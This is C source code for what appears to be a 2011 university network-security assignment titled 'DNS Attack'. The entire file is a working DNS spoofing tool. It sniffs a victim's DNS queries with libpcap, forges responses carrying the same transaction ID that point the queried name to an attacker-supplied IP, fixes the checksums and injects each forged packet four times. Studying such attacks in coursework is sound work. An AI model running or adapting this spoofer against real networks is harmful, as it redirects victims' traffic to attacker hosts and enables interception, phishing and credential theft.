
/**
 *
 * Network Security and Management Assignment One Question One
 * DNS Attack
 *
 * Vistb (C) 2011
 *
 * Assume the MAC layer protocol is Ethernet
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <pcap.h>
#include <arpa/inet.h>

#include "ether.h"
#include "ip.h"
#include "udp.h"
#include "nameser.h"
#include "checksum.h"

pcap_t *handle;
char* inject_ip;
char* victim_ip;
char fake_dns_server_addr[] = "1.0.2.4";
char fake_mac_src[] = {0x11, 0x22, 0x33, 0x44, 0x55, 0x66};

void ctrl_c(int sig)
{
    fprintf(stdout, " ctrl-c signal caught, going to stop the monitor \n");
    pcap_breakloop(handle);
}

void pkt_handler(u_char *args, const struct pcap_pkthdr *pkt_header, const u_char *pkt)
{
    const struct ether_header* eth_header;
    const struct ip* ip_header;
    const struct udphdr* udp_header;
    const HEADER* dns_header;
    const char* dns_payload;
    int i = 0;

    // print head banner
    fprintf(stdout, "==================================================\n");

    // disassemble the packet to obtain header and dns payload
    eth_header = (struct ether_header*) pkt;
    ip_header = (struct ip*) (pkt + sizeof(struct ether_header));
    int ip_payload_size = IP_HL(ip_header) * 4;
    if (ip_payload_size < 20)
    {
        printf("invalid IP header length: %u bytes \n", ip_payload_size);
        goto pkt_handler_label_1;
    }
    udp_header = (struct udphdr*) (pkt + sizeof(struct ether_header) + ip_payload_size);
    dns_header = (HEADER*) (pkt + sizeof(struct ether_header) + ip_payload_size + sizeof(struct udphdr));
    dns_payload = (char*) (pkt + sizeof(struct ether_header) + ip_payload_size + sizeof(struct udphdr) + sizeof(HEADER));

    // currently we can only handle one dns question per packet
    // so if multiple questions exist in each packet, we ignore the packet
    if (ntohs(dns_header->qdcount) != 1)
    {
        fprintf(stdout, "none/multiple questions (%d) exist in the packet, ignored! \n", ntohs(dns_header->qdcount));
        goto pkt_handler_label_1;
    }

    // check if the source ip of the packet is the victim ip
    if (strcmp(inet_ntoa(ip_header->ip_src), victim_ip) != 0)
    {
        fprintf(stdout, "dns packet not from victim ip, ignored! \n");
        goto pkt_handler_label_1;
    }

    // print out query packet src and dst and query number
    char src_str[16];
    char dst_str[16];
    memcpy(src_str, inet_ntoa(ip_header->ip_src), strlen(inet_ntoa(ip_header->ip_src))+1);
    memcpy(dst_str, inet_ntoa(ip_header->ip_dst), strlen(inet_ntoa(ip_header->ip_dst))+1);
    fprintf(stdout, "%d dns query from %s(0x%08X) to %s(0x%08X) \n",
            ntohs(dns_header->qdcount), src_str, ip_header->ip_src.s_addr, dst_str, ip_header->ip_dst.s_addr);

    // print out the query
    int domainSize = 1;
    const char* ptr = dns_payload;
    int chunkSize = (int)(*ptr);
    do
    {
        int i = 0;
        ptr += 1;
        domainSize += chunkSize;
        for (i=0; i<chunkSize; ++i)
            fputc(*(ptr++), stdout);
        chunkSize = (int)(*ptr);
        if (chunkSize)
            fputc('.', stdout);
        domainSize++;
    }
    while (chunkSize);
    fputc('\n', stdout);

    // construct the dns part of the response packet

    int new_dns_size = sizeof(HEADER) + domainSize + 4 + 16 + 17;
    char* new_dns_part = (char*) malloc(new_dns_size);

    HEADER* new_dns_header = (HEADER*) new_dns_part; /* header part */
    new_dns_header->id = dns_header->id;
    new_dns_header->flags1 = 0x81;
    new_dns_header->flags2 = 0x80;
    new_dns_header->qdcount = htons(1);
    new_dns_header->ancount = htons(1);
    new_dns_header->nscount = htons(1);
    new_dns_header->arcount = htons(0);

    memcpy(new_dns_part + sizeof(HEADER), dns_payload, domainSize); /* question part */
    *(uint16_t*)(&new_dns_part[sizeof(HEADER) + domainSize + 0]) = htons(1);
    *(uint16_t*)(&new_dns_part[sizeof(HEADER) + domainSize + 2]) = htons(1);

    *(uint16_t*)(&new_dns_part[sizeof(HEADER) + domainSize + 4]) = htons(0xc00c); /* answer part */
    *(uint16_t*)(&new_dns_part[sizeof(HEADER) + domainSize + 6]) = htons(1);
    *(uint16_t*)(&new_dns_part[sizeof(HEADER) + domainSize + 8]) = htons(1);
    *(uint32_t*)(&new_dns_part[sizeof(HEADER) + domainSize + 10]) = htonl(3600); // ttl of the dns response
    *(uint16_t*)(&new_dns_part[sizeof(HEADER) + domainSize + 14]) = htons(4);
    *(uint32_t*)(&new_dns_part[sizeof(HEADER) + domainSize + 16]) = inet_addr(inject_ip);

    *(uint16_t*)(&new_dns_part[sizeof(HEADER) + domainSize + 20]) = htons(0xc00c); /* authoritative name server part */
    *(uint16_t*)(&new_dns_part[sizeof(HEADER) + domainSize + 22]) = htons(2);
    *(uint16_t*)(&new_dns_part[sizeof(HEADER) + domainSize + 24]) = htons(1);
    *(uint32_t*)(&new_dns_part[sizeof(HEADER) + domainSize + 26]) = htonl(3600); // ttl of the dns response
    *(uint16_t*)(&new_dns_part[sizeof(HEADER) + domainSize + 30]) = htons(5);
    *(uint8_t*)(&new_dns_part[sizeof(HEADER) + domainSize + 32]) = 0x02;
    *(uint8_t*)(&new_dns_part[sizeof(HEADER) + domainSize + 33]) = 'n';
    *(uint8_t*)(&new_dns_part[sizeof(HEADER) + domainSize + 34]) = 's';
    *(uint8_t*)(&new_dns_part[sizeof(HEADER) + domainSize + 35]) = 0xc0;
    *(uint8_t*)(&new_dns_part[sizeof(HEADER) + domainSize + 36]) = 0x0c;

    // construct udp header of the response packet, calculate of check sum is delayed (we need ip header first)
    struct udphdr new_udp_header;
    new_udp_header.uh_sport = udp_header->uh_dport;
    new_udp_header.uh_dport = udp_header->uh_sport;
    new_udp_header.uh_ulen = htons(sizeof(struct udphdr) + new_dns_size);
    new_udp_header.uh_sum = 0;

    // construct ip header for the response packet
    struct ip new_ip_header;
    new_ip_header.ip_vhl = 0x45; // IPv4 and header is 20bytes
    new_ip_header.ip_tos = 0x00;
    new_ip_header.ip_len = htons(sizeof(struct ip) + sizeof(struct udphdr) + new_dns_size);
    new_ip_header.ip_id = htons(0xBCBC); // identification
    new_ip_header.ip_off = htons(0x0000);
    new_ip_header.ip_ttl = 0x3d; // ttl
    new_ip_header.ip_p = 0x11;
    new_ip_header.ip_src = ip_header->ip_dst;
    new_ip_header.ip_dst = ip_header->ip_src;
    new_ip_header.ip_sum = 0;
    new_ip_header.ip_sum = in_cksum((const u_short *)&new_ip_header, 20, 0);

    // calculate udp check sum
    int udp_cksum_temp_size = new_dns_size + sizeof(struct udphdr);
    char* udp_cksum_temp = (char*) malloc(udp_cksum_temp_size);
    memcpy(udp_cksum_temp, &new_udp_header, sizeof(struct udphdr));
    memcpy(udp_cksum_temp + sizeof(struct udphdr), new_dns_part, new_dns_size);
    new_udp_header.uh_sum = udp_cksum(&new_ip_header, (struct udphdr*)udp_cksum_temp, udp_cksum_temp_size);
    free(udp_cksum_temp);

    // construct ethernet header for the response packet
    struct ether_header new_eth_header;
    new_eth_header.ether_type = htons(0x0800);
    memcpy(&(new_eth_header.ether_dhost), &(eth_header->ether_shost), 6);
    memcpy(&(new_eth_header.ether_shost), &(eth_header->ether_dhost), 6);

    // generate the entire new packet
    int new_pkt_size = new_dns_size + sizeof(struct udphdr) + sizeof(struct ip) + sizeof(struct ether_header);
    char* new_pkt = (char*)malloc(new_pkt_size);
    memcpy(new_pkt, &new_eth_header, sizeof(struct ether_header));
    memcpy(new_pkt + sizeof(struct ether_header), &new_ip_header, sizeof(struct ip));
    memcpy(new_pkt + sizeof(struct ether_header) + sizeof(struct ip), &new_udp_header, sizeof(struct udphdr));
    memcpy(new_pkt + sizeof(struct ether_header) + sizeof(struct ip) + sizeof(struct udphdr), new_dns_part, new_dns_size);

    // print out info
    fprintf(stdout, "fake response with size %d bytes sent \n", new_pkt_size);

    // send the fake response
    int sent_size = pcap_inject(handle, new_pkt, new_pkt_size);
    if (sent_size == -1)
        fprintf(stderr, "ERROR: send failure: %s\n", pcap_geterr(handle));
    else if (sent_size != new_pkt_size)
        fprintf(stderr, "WARNING: packet partial send: %d/%d \n", sent_size, new_pkt_size);
    else
        for (i=0; i<3; ++i)
            pcap_inject(handle, new_pkt, new_pkt_size);

    // free resources to avoid memory leak
    free(new_dns_part);
    free(new_pkt);

    // print foot banner
    pkt_handler_label_1:
    fprintf(stdout, "==================================================\n");
    fflush(stdin);
}

int main(int argc, char* argv[])
{
    char errbuf[PCAP_ERRBUF_SIZE];
    char filter_str[] = "udp dst port 53";
    char* dev;
    struct bpf_program filter;
    bpf_u_int32 net_mask;
    bpf_u_int32 net_ip;

    // clear screen and print out tip info
    system("clear");
    fprintf(stdout, "we assume mac layer is Ethernet! \n");
    fprintf(stdout, "pcab version: %s \n", pcap_lib_version());

    // check if we have enough parameters
    if (argc != 4)
    {
        fprintf(stdout, "please run program with 3 arguments: "
            "net-sec-assign-1-dns victim_ip inject_ip dev_name \n");
        exit(0);
    }
    else
        fprintf(stdout, "monitor dns from %s using %s, response with %s \n", argv[1], argv[3], argv[2]);

    // update variables
    inject_ip = argv[2];
    victim_ip = argv[1];
    dev = argv[3];

    // get the properties of the device
    if (pcap_lookupnet(dev, &net_ip, &net_mask, errbuf) == -1)
    {
        fprintf(stderr, "couldn't get netmask for device %s: %s\n", dev, errbuf);
        exit(-1);
    }
    else
    {
        struct in_addr net_ip_struct;
        struct in_addr net_mask_struct;
        net_ip_struct.s_addr = net_ip;
        net_mask_struct.s_addr = net_mask;
        char ip_str[16];
        char mask_str[16];
        memcpy(ip_str, inet_ntoa(net_ip_struct), strlen(inet_ntoa(net_ip_struct))+1);
        memcpy(mask_str, inet_ntoa(net_mask_struct), strlen(inet_ntoa(net_mask_struct))+1);
        fprintf(stdout, "device ip is %s(0x%08X) and netmask is %s(0x%08X) \n", ip_str, net_ip, mask_str, net_mask);
    }

    // open the session in promiscuous mode
    handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf);
    if (handle == NULL)
    {
        fprintf(stderr, "couldn't open device %s: %s\n", dev, errbuf);
        exit(-1);
    }

    // compile and apply the filter
    if (pcap_compile(handle, &filter, filter_str, 0, net_ip) == -1)
    {
        fprintf(stderr, "couldn't parse filter %s: %s\n", filter_str, pcap_geterr(handle));
        exit(-1);
    }
    if (pcap_setfilter(handle, &filter) == -1)
    {
        fprintf(stderr, "couldn't install filter %s: %s\n", filter_str, pcap_geterr(handle));
        exit(-1);
    }
    pcap_freecode(&filter);

    // associate ctrl-c signal processing
    (void) signal(SIGINT, ctrl_c);

    // start monitor and inject traffic
    fprintf(stdout, "now going to monitor and inject traffic \n");
    pcap_loop(handle, RAND_MAX, pkt_handler, NULL);

    // when monitor finishes, we close the session
    pcap_close(handle);

    return 0;
}
